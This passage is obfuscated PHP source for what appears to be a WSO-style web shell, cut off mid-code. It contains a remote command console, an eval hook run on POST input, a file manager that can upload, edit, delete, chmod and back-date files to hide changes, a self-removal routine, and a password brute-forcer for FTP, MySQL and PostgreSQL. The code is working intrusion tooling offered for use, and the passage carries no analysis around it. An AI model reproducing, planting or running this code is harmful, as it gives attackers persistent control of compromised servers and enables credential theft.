    var c_ = '" .htmlspecialchars($GLOBALS[gg(167)]) .gg(168) .htmlspecialchars(@$_POST[gg(169)]) .gg(170) .htmlspecialchars(@$_POST[gg(171)]) .gg(172) .((strpos(@$_POST[gg(173)],gg(174))!==false)?gg(175):htmlspecialchars($_POST[gg(176)],ENT_QUOTES)) .gg(177) .((strpos(@$_POST[gg(178)],gg(179))!==false)?gg(180):htmlspecialchars($_POST[gg(181)],ENT_QUOTES)) .gg(182) .((strpos(@$_POST[gg(183)],gg(184))!==false)?gg(185):htmlspecialchars($_POST[gg(186)],ENT_QUOTES)) .gg(187) .addslashes($_SERVER[gg(188)]) .gg(189);$freeSpace=@diskfreespace($GLOBALS[gg(190)]);$totalSpace=@disk_total_space($GLOBALS[gg(191)]);$totalSpace=$totalSpace?$totalSpace:1;$release=@php_uname(gg(192));$kernel=@php_uname(gg(193));$explink=gg(194);if(strpos(gg(195),$kernel)!== false)$explink .= urlencode(gg(196) .substr($release,0,6));else $explink .= urlencode($kernel .gg(197) .substr($release,0,3));$uid=false;$gid=false;$user=$uid[gg(198)];$uid=$uid[gg(199)];$group=$gid[gg(200)];$gid=$gid[gg(201)];$cwd_links=gg(202);$path=explode(gg(203),$GLOBALS[gg(204)]);$n=count($path);for($i=0;$i<$n-1;$i++){$cwd_links .= gg(205);for($j=0;$j<=$i;$j++)$cwd_links .= $path[$j] .gg(206);$cwd_links .= gg(207) .$path[$i] .gg(208);}$charsets=array(gg(209),gg(210),gg(211),gg(212),gg(213));$opt_charsets=gg(214);foreach($charsets as $item)$opt_charsets .= gg(215) .$item .gg(216) .($_POST[gg(217)]==$item?gg(218):gg(219)) .gg(220) .$item .gg(221);$m=array(gg(222)=> gg(223),gg(224)=> gg(225),gg(226)=> gg(227),gg(228)=> gg(229),gg(230)=> gg(231),gg(232)=> gg(233),gg(234)=> gg(235),gg(236)=> gg(237));if(!empty($GLOBALS[gg(238)]))$m[gg(239)]=gg(240);$m[gg(241)]=gg(242);$menu=gg(243);foreach($m as $k => $v)$menu .= gg(244) .(int)(100/count($m)) .gg(245) .$v .gg(246) .$k .gg(247);$drives=gg(248);if($GLOBALS[gg(249)]== gg(250)){foreach(range(gg(251),gg(252))as $drive)if(is_dir($drive .gg(253)))$drives .= gg(254) .$drive .gg(255) .$drive .gg(256);}echo gg(257) .($GLOBALS[gg(258)]== gg(259)?gg(260):gg(261)) .gg(262) .gg(263) .substr(@php_uname(),0,120) .gg(264) .$explink .gg(265) .$uid .gg(266) .$user .gg(267) .$gid .gg(268) .$group .gg(269) .@phpversion() .gg(270) .($GLOBALS[gg(271)]?gg(272):gg(273)) .gg(274) .date(gg(275)) .gg(276) .xxsViewSize($totalSpace) .gg(277) .xxsViewSize($freeSpace) .gg(278) .(int)($freeSpace/$totalSpace*100) .gg(279) .$cwd_links .gg(280) .xxsPermsColor($GLOBALS[gg(281)]) .gg(282) .$GLOBALS[gg(283)] .gg(284) .$drives .gg(285) .gg(286) .$opt_charsets .gg(287) .@$_SERVER[gg(288)] .gg(289) .$_SERVER[gg(290)] .gg(291) .gg(292) .$menu .gg(293);}function xxsFooter(){$is_writable=is_writable($GLOBALS[gg(294)])?gg(295):gg(296);echo gg(297) .htmlspecialchars($GLOBALS[gg(298)]) ."'><input type=submit value='>>'></form></td>
		<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
		<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
		<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
		<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
		<td><form method='post' ENCTYPE='multipart/form-data'>
		<input type=hidden name=a value='FilesMAn'>
		<input type=hidden name=c value='" .$GLOBALS[gg(299)] .gg(300) .(isset($_POST[gg(301)])?$_POST[gg(302)]:gg(303)) ."'>
		<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>
	</tr></table></div></body></html>";}function xxsEx($in){$out=gg(304);return $out;}function xxsViewSize($s){if($s >= 1073741824)return sprintf(gg(305),$s/1073741824) .gg(306);elseif($s >= 1048576)return sprintf(gg(307),$s/1048576) .gg(308);elseif($s >= 1024)return sprintf(gg(309),$s/1024) .gg(310);else return $s .gg(311);}function xxsPerms($p){if(($p&0xC000)== 0xC000)$i=gg(312);elseif(($p&0xA000)== 0xA000)$i=gg(313);elseif(($p&0x8000)== 0x8000)$i=gg(314);elseif(($p&0x6000)== 0x6000)$i=gg(315);elseif(($p&0x4000)== 0x4000)$i=gg(316);elseif(($p&0x2000)== 0x2000)$i=gg(317);elseif(($p&0x1000)== 0x1000)$i=gg(318);else $i=gg(319);$i .=(($p&0x0100)?gg(320):gg(321));$i .=(($p&0x0080)?gg(322):gg(323));$i .=(($p&0x0040)?(($p&0x0800)?gg(324):gg(325)):(($p&0x0800)?gg(326):gg(327)));$i .=(($p&0x0020)?gg(328):gg(329));$i .=(($p&0x0010)?gg(330):gg(331));$i .=(($p&0x0008)?(($p&0x0400)?gg(332):gg(333)):(($p&0x0400)?gg(334):gg(335)));$i .=(($p&0x0004)?gg(336):gg(337));$i .=(($p&0x0002)?gg(338):gg(339));$i .=(($p&0x0001)?(($p&0x0200)?gg(340):gg(341)):(($p&0x0200)?gg(342):gg(343)));return $i;}function xxsPermsColor($f){if(!@is_readable($f))return gg(344) .xxsPerms(@fileperms($f)) .gg(345);elseif(!@is_writable($f))return gg(346) .xxsPerms(@fileperms($f)) .gg(347);else return gg(348) .xxsPerms(@fileperms($f)) .gg(349);}function xxsScandir($dir){if(function_exists("scandir")){return scandir($dir);}else{$dh=opendir($dir);while(false !==($filename=readdir($dh)))$files[]=$filename;return $files;}}function xxsWhich($p){$path=xxsEx(gg(350) .$p);if(!empty($path))return $path;return false;}function actionSecInfo(){xxsHeader();echo gg(351);function xxsSecParam($n,$v){$v=trim($v);if($v){echo gg(352) .$n .gg(353);if(strpos($v,gg(354))=== false)echo $v .gg(355);else echo gg(356) .$v .gg(357);}}xxsSecParam(gg(358),@getenv(gg(359)));if(function_exists('apache_get_modules'))xxsSecParam(gg(360),implode(gg(361),apache_get_modules()));xxsSecParam(gg(362),$GLOBALS[gg(363)]?$GLOBALS[gg(364)]:gg(365));xxsSecParam(gg(366),@ini_get(gg(367)));xxsSecParam(gg(368),@ini_get(gg(369)));xxsSecParam(gg(370),@ini_get(gg(371)));xxsSecParam(gg(372),function_exists('curl_version')?'enabled':gg(373));$temp=array();if(function_exists('mysql_get_client_info'))$temp[]=MySql (" .mysql_get_client_info() .gg(374);if(function_exists('mssql_connect'))$temp[]="MSSQL";if(function_exists('pg_connect'))$temp[]="PostgreSQL";if(function_exists('oci_connect'))$temp[]="Oracle";xxsSecParam(gg(375),implode(gg(376),$temp));echo gg(377);if($GLOBALS[gg(378)]== gg(379)){xxsSecParam(gg(380),@is_readable(gg(381))?gg(382):gg(383));xxsSecParam(gg(384),@is_readable(gg(385))?gg(386):gg(387));xxsSecParam(gg(388),@file_get_contents(gg(389)));xxsSecParam(gg(390),@file_get_contents(gg(391)));if(!$GLOBALS[gg(392)]){$userful=array(gg(393),gg(394),gg(395),gg(396),gg(397),gg(398),gg(399),gg(400),gg(401),gg(402),gg(403),gg(404),gg(405),gg(406),gg(407),gg(408));$danger=array(gg(409),gg(410),gg(411),gg(412),gg(413),gg(414),gg(415),gg(416),gg(417),gg(418),gg(419),gg(420),gg(421),gg(422),gg(423),gg(424),gg(425),gg(426),gg(427),gg(428),gg(429),gg(430),gg(431),gg(432),gg(433),gg(434));$downloaders=array(gg(435),gg(436),gg(437),gg(438),gg(439),gg(440),gg(441));echo gg(442);$temp=array();foreach($userful as $item)if(xxsWhich($item))$temp[]=$item;xxsSecParam(gg(443),implode(gg(444),$temp));$temp=array();foreach($danger as $item)if(xxsWhich($item))$temp[]=$item;xxsSecParam(gg(445),implode(gg(446),$temp));$temp=array();foreach($downloaders as $item)if(xxsWhich($item))$temp[]=$item;xxsSecParam(gg(447),implode(gg(448),$temp));echo gg(449);xxsSecParam(gg(450),xxsEx(gg(451)));xxsSecParam(gg(452),@file_get_contents(gg(453)));echo gg(454);if(isset($_POST[gg(455)],$_POST[gg(456)])&& is_numeric($_POST[gg(457)])&& is_numeric($_POST[gg(458)])){$temp=gg(459);for(;$_POST[gg(460)]<= $_POST[gg(461)];$_POST[gg(462)]++){$uid=false;if($uid)$temp .= join(gg(463),$uid) .gg(464);}echo gg(465);xxsSecParam(gg(466),$temp);}}}else{xxsSecParam(gg(467),xxsEx(gg(468)));xxsSecParam(gg(469),xxsEx(gg(470)));xxsSecParam(gg(471),xxsEx(gg(472)));}echo gg(473);xxsFooter();}function actionPhp(){if(isset($_POST[gg(474)])){XMOsetcookie(md5($_SERVER[gg(475)]) .gg(476),true);ob_start();$zzz=gg(477) .gg(478) .gg(479);$$zzz($_POST[gg(480)]);$temp=gg(481) .addcslashes(htmlspecialchars(ob_get_clean()),gg(482)) .gg(483);echo strlen($temp),gg(484),$temp;exit;}if(empty($_POST[gg(485)])&&!empty($_POST[gg(486)]))XMOsetcookie(md5($_SERVER[gg(487)]) .gg(488),0);xxsHeader();if(isset($_POST[gg(489)])&&($_POST[gg(490)]== gg(491))){echo gg(492);ob_start();phpinfo();$tmp=ob_get_clean();$tmp=preg_replace(array(gg(493),gg(494),gg(495),),array(gg(496),gg(497),gg(498)),$tmp);echo str_replace(gg(499),gg(500),$tmp) .gg(501);}echo gg(502) .(!empty($_POST[gg(503)])?htmlspecialchars($_POST[gg(504)]):gg(505)) .gg(506);echo gg(507) .($_COOKIE[md5($_SERVER[gg(508)]) .gg(509)]?gg(510):gg(511)) .gg(512) .(empty($_POST[gg(513)])?gg(514):gg(515)) .gg(516);if(!empty($_POST[gg(517)])){ob_start();$zzz=gg(518) .gg(519) .gg(520);$$zzz($_POST[gg(521)]);echo htmlspecialchars(ob_get_clean());}echo gg(522);xxsFooter();}function actionFilesMan(){if(!empty($_COOKIE[gg(523)]))$_COOKIE[gg(524)]=@unserialize($_COOKIE[gg(525)]);if(!empty($_POST[gg(526)])){switch($_POST[gg(527)]){case gg(528):if(!@move_uploaded_file($_FILES[gg(529)][gg(530)],$_FILES[gg(531)][gg(532)]))echo gg(533);break;case gg(534):if(!@mkdir($_POST[gg(535)]))echo gg(536);break;case gg(537):function deleteDir($path){$path=(substr($path,-1)== gg(538))?$path:$path .gg(539);$dh=opendir($path);while(($item=readdir($dh))!== false){$item=$path .$item;if((basename($item)== gg(540))||(basename($item)== gg(541)))continue;$type=filetype($item);if($type == gg(542))deleteDir($item);else@unlink($item);}closedir($dh);@rmdir($path);}if(is_array(@$_POST[gg(543)]))foreach($_POST[gg(544)]as $f){if($f == gg(545))continue;$f=urldecode($f);if(is_dir($f))deleteDir($f);else@unlink($f);}break;case gg(546):if($_COOKIE[gg(547)]== gg(548)){function copy_paste($c,$s,$d){if(is_dir($c .$s)){mkdir($d .$s);$h=@opendir($c .$s);while(($f=@readdir($h))!== false)if(($f != gg(549))and($f != gg(550)))copy_paste($c .$s .gg(551),$f,$d .$s .gg(552));}elseif(is_file($c .$s))@copy($c .$s,$d .$s);}foreach($_COOKIE[gg(553)]as $f)copy_paste($_COOKIE[gg(554)],$f,$GLOBALS[gg(555)]);}elseif($_COOKIE[gg(556)]== gg(557)){function move_paste($c,$s,$d){if(is_dir($c .$s)){mkdir($d .$s);$h=@opendir($c .$s);while(($f=@readdir($h))!== false)if(($f != gg(558))and($f != gg(559)))copy_paste($c .$s .gg(560),$f,$d .$s .gg(561));}elseif(@is_file($c .$s))@copy($c .$s,$d .$s);}foreach($_COOKIE[gg(562)]as $f)@rename($_COOKIE[gg(563)] .$f,$GLOBALS[gg(564)] .$f);}elseif($_COOKIE[gg(565)]== gg(566)){if(class_exists(gg(567))){$zip=new ZipArchive();if($zip->open($_POST[gg(568)],1)){chdir($_COOKIE[gg(569)]);foreach($_COOKIE[gg(570)]as $f){if($f == gg(571))continue;if(@is_file($_COOKIE[gg(572)] .$f))$zip->addFile($_COOKIE[gg(573)] .$f,$f);elseif(@is_dir($_COOKIE[gg(574)] .$f)){$iterator=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f .gg(575)));foreach($iterator as $key=>$value){$zip->addFile(realpath($key),$key);}}}chdir($GLOBALS[gg(576)]);$zip->close();}}}elseif($_COOKIE[gg(577)]== gg(578)){if(class_exists(gg(579))){$zip=new ZipArchive();foreach($_COOKIE[gg(580)]as $f){if($zip->open($_COOKIE[gg(581)] .$f)){$zip->extractTo($GLOBALS[gg(582)]);$zip->close();}}}}elseif($_COOKIE[gg(583)]== gg(584)){chdir($_COOKIE[gg(585)]);$_COOKIE[gg(586)]=array_map(gg(587),$_COOKIE[gg(588)]);xxsEx(gg(589) .escapeshellarg($_POST[gg(590)]) .gg(591) .implode(gg(592),$_COOKIE[gg(593)]));chdir($GLOBALS[gg(594)]);}unset($_COOKIE[gg(595)]);setcookie(gg(596),gg(597),time()-3600);break;default:if(!empty($_POST[gg(598)])){XMOsetcookie(gg(599),$_POST[gg(600)]);XMOsetcookie(gg(601),serialize(@$_POST[gg(602)]));XMOsetcookie(gg(603),@$_POST[gg(604)]);}break;}}xxsHeader();echo gg(605);$dirContent=xxsScandir(isset($_POST[gg(606)])?$_POST[gg(607)]:$GLOBALS[gg(608)]);if($dirContent === false){echo gg(609);xxsFooter();return;}global $sort;$sort=array(gg(610),1);if(!empty($_POST[gg(611)])){if(preg_match(gg(612),$_POST[gg(613)],$match))$sort=array($match[1],(int)$match[2]);}echo gg(614) .($sort[1]?0:1) .gg(615) .($sort[1]?0:1) .gg(616) .($sort[1]?0:1) .gg(617) .($sort[1]?0:1) .gg(618);$dirs=$files=array();$n=count($dirContent);for($i=0;$i<$n;$i++){$ow=false;$gr=false;$tmp=array(gg(619)=> $dirContent[$i],gg(620)=> $GLOBALS[gg(621)] .$dirContent[$i],gg(622)=> date(gg(623),@filemtime($GLOBALS[gg(624)] .$dirContent[$i])),gg(625)=> xxsPermsColor($GLOBALS[gg(626)] .$dirContent[$i]),gg(627)=>@filesize($GLOBALS[gg(628)] .$dirContent[$i]),gg(629)=> $ow[gg(630)]?$ow[gg(631)]:@fileowner($dirContent[$i]),gg(632)=> $gr[gg(633)]?$gr[gg(634)]:@filegroup($dirContent[$i]));if(@is_file($GLOBALS[gg(635)] .$dirContent[$i]))$files[]=array_merge($tmp,array(gg(636)=> gg(637)));elseif(@is_link($GLOBALS[gg(638)] .$dirContent[$i]))$dirs[]=array_merge($tmp,array(gg(639)=> gg(640),gg(641)=> readlink($tmp[gg(642)])));elseif(@is_dir($GLOBALS[gg(643)] .$dirContent[$i])&&($dirContent[$i]!= gg(644)))$dirs[]=array_merge($tmp,array(gg(645)=> gg(646)));}$GLOBALS[gg(647)]=$sort;function xxsCmp($a,$b){if($GLOBALS[gg(648)][0]!= gg(649))return strcmp(strtolower($a[$GLOBALS[gg(650)][0]]),strtolower($b[$GLOBALS[gg(651)][0]]))*($GLOBALS[gg(652)][1]?1:-1);else return(($a[gg(653)]<$b[gg(654)])?-1:1)*($GLOBALS[gg(655)][1]?1:-1);}usort($files,"xxsCmp");usort($dirs,"xxsCmp");$files=array_merge($dirs,$files);$l=0;foreach($files as $f){echo gg(656) .($l?gg(657):gg(658)) .gg(659) .urlencode($f[gg(660)]) .gg(661) .(($f[gg(662)]== gg(663))?gg(664) .urlencode($f[gg(665)]) .gg(666) .htmlspecialchars($f[gg(667)]):gg(668) .$f[gg(669)] .gg(670) .(empty($f[gg(671)])?gg(672):"title='{$f[gg(673)]}'") .gg(674) .htmlspecialchars($f[gg(675)]) .gg(676)) .gg(677) .(($f[gg(678)]== gg(679))?xxsViewSize($f[gg(680)]):$f[gg(681)]) .gg(682) .$f[gg(683)] .gg(684) .$f[gg(685)] .gg(686) .$f[gg(687)] .gg(688) .urlencode($f[gg(689)]) .gg(690) .$f[gg(691)] .gg(692) .urlencode($f[gg(693)]) .gg(694) .urlencode($f[gg(695)]) .gg(696) .(($f[gg(697)]== gg(698))?gg(699) .urlencode($f[gg(700)]) .gg(701) .urlencode($f[gg(702)]) .gg(703):gg(704)) .gg(705);$l=$l?0:1;}echo gg(706) .htmlspecialchars($GLOBALS[gg(707)]) .gg(708) .(isset($_POST[gg(709)])?$_POST[gg(710)]:gg(711)) .gg(712);if(class_exists(gg(713)))echo gg(714);echo gg(715);if(!empty($_COOKIE[gg(716)])&&@count($_COOKIE[gg(717)]))echo gg(718);echo gg(719);if(!empty($_COOKIE[gg(720)])&&@count($_COOKIE[gg(721)])&&(($_COOKIE[gg(722)]== gg(723))||($_COOKIE[gg(724)]== gg(725))))echo gg(726) .date(gg(727)) .gg(728) .($_COOKIE[gg(729)]== gg(730)?gg(731):gg(732)) .gg(733);echo gg(734);xxsFooter();}function actionStringTools(){if(!function_exists('hex2bin')){function hex2bin($p){return decbin(hexdec($p));}}if(!function_exists('binhex')){function binhex($p){return dechex(bindec($p));}}if(!function_exists('hex2ascii')){function hex2ascii($p){$r=gg(735);for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i] .$p[$i+1]));}return $r;}}if(!function_exists('ascii2hex')){function ascii2hex($p){$r=gg(736);for($i=0;$i<strlen($p);++$i)$r.= sprintf(gg(737),ord($p[$i]));return strtoupper($r);}}if(!function_exists('full_urlencode')){function full_urlencode($p){$r=gg(738);for($i=0;$i<strlen($p);++$i)$r.= gg(739) .dechex(ord($p[$i]));return strtoupper($r);}}$stringTools=array(gg(740)=> gg(741),gg(742)=> gg(743),gg(744)=> gg(745),gg(746)=> gg(747),gg(748)=> gg(749),gg(750)=> gg(751),gg(752)=> gg(753),gg(754)=> gg(755),gg(756)=> gg(757),gg(758)=> gg(759),gg(760)=> gg(761),gg(762)=> gg(763),gg(764)=> gg(765),gg(766)=> gg(767),gg(768)=> gg(769),gg(770)=> gg(771),gg(772)=> gg(773),gg(774)=> gg(775),gg(776)=> gg(777),gg(778)=> gg(779),gg(780)=> gg(781),);if(isset($_POST[gg(782)])){XMOsetcookie(md5($_SERVER[gg(783)]) .gg(784),true);ob_start();if(in_array($_POST[gg(785)],$stringTools))echo $_POST[gg(786)]($_POST[gg(787)]);$temp=gg(788) .addcslashes(htmlspecialchars(ob_get_clean()),gg(789)) .gg(790);echo strlen($temp),gg(791),$temp;exit;}if(empty($_POST[gg(792)])&&!empty($_POST[gg(793)]))XMOsetcookie(md5($_SERVER[gg(794)]) .gg(795),0);xxsHeader();echo gg(796);echo gg(797);foreach($stringTools as $k => $v)echo gg(798) .htmlspecialchars($v) .gg(799) .$k .gg(800);echo gg(801) .(@$_COOKIE[md5($_SERVER[gg(802)]) .gg(803)]?gg(804):gg(805)) .gg(806) .(empty($_POST[gg(807)])?gg(808):htmlspecialchars(@$_POST[gg(809)])) .gg(810) .(empty($_POST[gg(811)])?gg(812):gg(813)) .gg(814);if(!empty($_POST[gg(815)])){if(in_array($_POST[gg(816)],$stringTools))echo htmlspecialchars($_POST[gg(817)]($_POST[gg(818)]));}echo gg(819) .htmlspecialchars($GLOBALS[gg(820)]) .gg(821);function xxsRecursiveGlob($path){if(substr($path,-1)!= gg(822))$path.= gg(823);$paths=@array_unique(@array_merge(@glob($path .$_POST[gg(824)]),@glob($path .gg(825),GLOB_ONLYDIR)));if(is_array($paths)&&@count($paths)){foreach($paths as $item){if(@is_dir($item)){if($path!=$item)xxsRecursiveGlob($item);}else{if(empty($_POST[gg(826)])||@strpos(file_get_contents($item),$_POST[gg(827)])!==false)echo gg(828) .urlencode($item) .gg(829) .htmlspecialchars($item) .gg(830);}}}}if(@$_POST[gg(831)])xxsRecursiveGlob($_POST[gg(832)]);echo gg(833);xxsFooter();}function actionFilesTools(){if(isset($_POST[gg(834)]))$_POST[gg(835)]=urldecode($_POST[gg(836)]);if(@$_POST[gg(837)]== gg(838)){if(@is_file($_POST[gg(839)])&&@is_readable($_POST[gg(840)])){ob_start(gg(841),4096);header(gg(842) .basename($_POST[gg(843)]));if(function_exists("mime_content_type")){$type=@mime_content_type($_POST[gg(844)]);header(gg(845) .$type);}else header(gg(846));$fp=@fopen($_POST[gg(847)],gg(848));if($fp){while(!@feof($fp))echo@fread($fp,1024);fclose($fp);}}exit;}if(@$_POST[gg(849)]== gg(850)){if(!file_exists($_POST[gg(851)])){$fp=@fopen($_POST[gg(852)],gg(853));if($fp){$_POST[gg(854)]=gg(855);fclose($fp);}}}xxsHeader();echo gg(856);if(!file_exists(@$_POST[gg(857)])){echo gg(858);xxsFooter();return;}$uid=false;if(!$uid){$uid[gg(859)]=@fileowner($_POST[gg(860)]);$gid[gg(861)]=@filegroup($_POST[gg(862)]);}else $gid=false;echo gg(863) .htmlspecialchars(@basename($_POST[gg(864)])) .gg(865) .(is_file($_POST[gg(866)])?xxsViewSize(filesize($_POST[gg(867)])):gg(868)) .gg(869) .xxsPermsColor($_POST[gg(870)]) .gg(871) .$uid[gg(872)] .gg(873) .$gid[gg(874)] .gg(875);echo gg(876) .date(gg(877),filectime($_POST[gg(878)])) .gg(879) .date(gg(880),fileatime($_POST[gg(881)])) .gg(882) .date(gg(883),filemtime($_POST[gg(884)])) .gg(885);if(empty($_POST[gg(886)]))$_POST[gg(887)]=gg(888);if(is_file($_POST[gg(889)]))$m=array(gg(890),gg(891),gg(892),gg(893),gg(894),gg(895),gg(896),gg(897));else $m=array(gg(898),gg(899),gg(900));foreach($m as $v)echo gg(901) .urlencode($_POST[gg(902)]) .gg(903) .strtolower($v) .gg(904) .((strtolower($v)==@$_POST[gg(905)])?gg(906) .$v .gg(907):$v) .gg(908);echo gg(909);switch($_POST[gg(910)]){case gg(911):echo gg(912);$fp=@fopen($_POST[gg(913)],gg(914));if($fp){while(!@feof($fp))echo htmlspecialchars(@fread($fp,1024));@fclose($fp);}echo gg(915);break;case gg(916):if(@is_readable($_POST[gg(917)])){echo gg(918);$code=@highlight_file($_POST[gg(919)],true);echo str_replace(array(gg(920),gg(921)),array(gg(922),gg(923)),$code) .gg(924);}break;case gg(925):if(!empty($_POST[gg(926)])){$perms=0;for($i=strlen($_POST[gg(927)])-1;$i>=0;--$i)$perms += (int)$_POST[gg(928)][$i]*pow(8,(strlen($_POST[gg(929)])-$i-1));if(!@chmod($_POST[gg(930)],$perms))echo gg(931);}clearstatcache();echo gg(932) .urlencode($_POST[gg(933)]) .gg(934) .substr(sprintf(gg(935),fileperms($_POST[gg(936)])),-4) .gg(937);break;case gg(938):if(!is_writable($_POST[gg(939)])){echo gg(940);break;}if(!empty($_POST[gg(941)])){$time=@filemtime($_POST[gg(942)]);$_POST[gg(943)]=substr($_POST[gg(944)],1);$fp=@fopen($_POST[gg(945)],gg(946));if($fp){@fwrite($fp,$_POST[gg(947)]);@fclose($fp);echo gg(948);@touch($_POST[gg(949)],$time,$time);}}echo gg(950) .urlencode($_POST[gg(951)]) .gg(952);$fp=@fopen($_POST[gg(953)],gg(954));if($fp){while(!@feof($fp))echo htmlspecialchars(@fread($fp,1024));@fclose($fp);}echo gg(955);break;case gg(956):$c=@file_get_contents($_POST[gg(957)]);$n=0;$h=array(gg(958),gg(959),gg(960));$len=strlen($c);for($i=0;$i<$len;++$i){$h[1].= sprintf(gg(961),ord($c[$i])) .gg(962);switch(ord($c[$i])){case 0:$h[2].= gg(963);break;case 9:$h[2].= gg(964);break;case 10:$h[2].= gg(965);break;case 13:$h[2].= gg(966);break;default:$h[2].= $c[$i];break;}$n++;if($n == 32){$n=0;if($i+1<$len){$h[0].= sprintf(gg(967),$i+1) .gg(968);}$h[1].= gg(969);$h[2].= gg(970);}}echo gg(971) .$h[0] .gg(972) .$h[1] .gg(973) .htmlspecialchars($h[2]) .gg(974);break;case gg(975):if(!empty($_POST[gg(976)])){if(!@rename($_POST[gg(977)],$_POST[gg(978)]))echo gg(979);else die(gg(980) .urlencode($_POST[gg(981)]) .gg(982));}echo gg(983) .urlencode($_POST[gg(984)]) .gg(985) .htmlspecialchars($_POST[gg(986)]) .gg(987);break;case gg(988):if(!empty($_POST[gg(989)])){$time=strtotime($_POST[gg(990)]);if($time){if(!touch($_POST[gg(991)],$time,$time))echo gg(992);else echo gg(993);}else echo gg(994);}clearstatcache();echo gg(995) .urlencode($_POST[gg(996)]) .gg(997) .date(gg(998),@filemtime($_POST[gg(999)])) .gg(1000);break;}echo gg(1001);xxsFooter();}function actionConsole(){if(!empty($_POST[gg(1002)])&&!empty($_POST[gg(1003)])){XMOsetcookie(md5($_SERVER[gg(1004)]) .gg(1005),true);$_POST[gg(1006)].= gg(1007);}elseif(!empty($_POST[gg(1008)]))XMOsetcookie(md5($_SERVER[gg(1009)]) .gg(1010),0);if(isset($_POST[gg(1011)])){XMOsetcookie(md5($_SERVER[gg(1012)]) .gg(1013),true);ob_start();echo gg(1014);$temp=@iconv($_POST[gg(1015)],gg(1016),addcslashes(gg(1017) .$_POST[gg(1018)] .gg(1019) .xxsEx($_POST[gg(1020)]),gg(1021)));if(preg_match(gg(1022),$_POST[gg(1023)],$match)){if(@chdir($match[1])){$GLOBALS[gg(1024)]=@getcwd();echo gg(1025) .$GLOBALS[gg(1026)] .gg(1027);}}echo gg(1028) .$temp .gg(1029);echo gg(1030);$temp=ob_get_clean();echo strlen($temp),gg(1031),$temp;exit;}if(empty($_POST[gg(1032)])&&!empty($_POST[gg(1033)]))XMOsetcookie(md5($_SERVER[gg(1034)]) .gg(1035),0);xxsHeader();echo gg(1036);echo gg(1037);foreach($GLOBALS[gg(1038)]as $n => $v){if($v == gg(1039)){echo gg(1040) .htmlspecialchars($n) .gg(1041);continue;}echo gg(1042) .htmlspecialchars($v) .gg(1043) .$n .gg(1044);}echo gg(1045) .(@$_COOKIE[md5($_SERVER[gg(1046)]) .gg(1047)]?gg(1048):gg(1049)) .gg(1050) .(!empty($_POST[gg(1051)])||$_COOKIE[md5($_SERVER[gg(1052)]) .gg(1053)]?gg(1054):gg(1055)) .gg(1056);if(!empty($_POST[gg(1057)])){echo htmlspecialchars(gg(1058) .$_POST[gg(1059)] .gg(1060) .xxsEx($_POST[gg(1061)]));}echo gg(1062);echo gg(1063);xxsFooter();}function actionLogout(){setcookie(md5($_SERVER[gg(1064)]),gg(1065),time()-3600);die(gg(1066));}function actionSelfRemove(){if($_POST[gg(1067)]== gg(1068))if(@unlink(preg_replace(gg(1069),gg(1070),__FILE__)))die(gg(1071));else echo gg(1072);if($_POST[gg(1073)]!= gg(1074))xxsHeader();echo gg(1075);xxsFooter();}function actionBruteforce(){xxsHeader();if(isset($_POST[gg(1076)])){echo gg(1077) .htmlspecialchars($_POST[gg(1078)]) .gg(1079) .htmlspecialchars($_POST[gg(1080)]) .gg(1081);if($_POST[gg(1082)]== gg(1083)){function xxsBruteForce($ip,$port,$login,$pass){$fp=@ftp_connect($ip,$port?$port:21);if(!$fp)return false;$res=@ftp_login($fp,$login,$pass);@ftp_close($fp);return $res;}}elseif($_POST[gg(1084)]== gg(1085)){function xxsBruteForce($ip,$port,$login,$pass){$res=@mysql_connect($ip .gg(1086) .$port?$port:3306,$login,$pass);@mysql_close($res);return $res;}}elseif($_POST[gg(1087)]== gg(1088)){function xxsBruteForce($ip,$port,$login,$pass){$str=gg(1089) .$ip .gg(1090) .$port .gg(1091) .$login .gg(1092) .$pass .gg(1093);$res=@pg_connect($str);@pg_close($res);return $res;}}$success=0;$attempts=0;$server=explode(gg(1094),$_POST[gg(1095)]);if($_POST[gg(1096)]== 1){$temp=@file(gg(1097));if(is_array($temp))foreach($temp as $line){$line=explode(gg(1098),$line);++$attempts;if(xxsBruteForce(@$server[0],@$server[1],$line[0],$line[0])){$success++;echo gg(1099) .htmlspecialchars($line[0]) .gg(1100) .htmlspecialchars($line[0]) .gg(1101);}if(@$_POST[gg(1102)]){$tmp=gg(1103);for($i=strlen($line[0])-1;$i>=0;--$i)$tmp .= $line[0][$i];++$attempts;if(xxsBruteForce(@$server[0],@$server[1],$line[0],$tmp)){$success++;echo gg(1104) .htmlspecialchars($line[0]) .gg(1105) .htmlspecialchars($tmp);}}}}elseif($_POST[gg(1106)]== 2){$temp=@file($_POST[gg(1107)]);if(is_array($temp))foreach($temp as $line){$line=trim($line);++$attempts;if(xxsBruteForce($server[0],@$server[1],$_POST[gg(1108)],$line)){$success++;echo gg(1109) .htmlspecialchars($_POST[gg(1110)]) .gg(1111) .htmlspecialchars($line) .gg(1112);}}}echo"<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";}echo gg(1113) .gg(1114) .gg(1115) .htmlspecialchars($GLOBALS[gg(1116)]) .gg(1117) .gg(1118) .htmlspecialchars($_POST[gg(1119)]) .gg(1120) .gg(1121) .htmlspecialchars($_POST[gg(1122)]) .gg(1123) .gg(1124) .gg(1125) .gg(1126) .gg(1127) .gg(1128) .gg(1129) .gg(1130) .gg(1131) .gg(1132) .gg(1133) .htmlspecialchars($GLOBALS[gg(1134)]) .gg(1135) .gg(1136);echo gg(1137);xxsFooter();}function actionSql(){class DbClass{var $type;var $link;var $res;function DbClass($type){$this->type=$type;}function connect($host,$user,$pass,$dbname){switch($this->type){case gg(1138):if($this->link=@mysql_connect($host,$user,$pass,true))return true;break;case gg(1139):$host=explode(gg(1140),$host);if(!$host[1])$host[1]=5432;if($this->link=@pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass 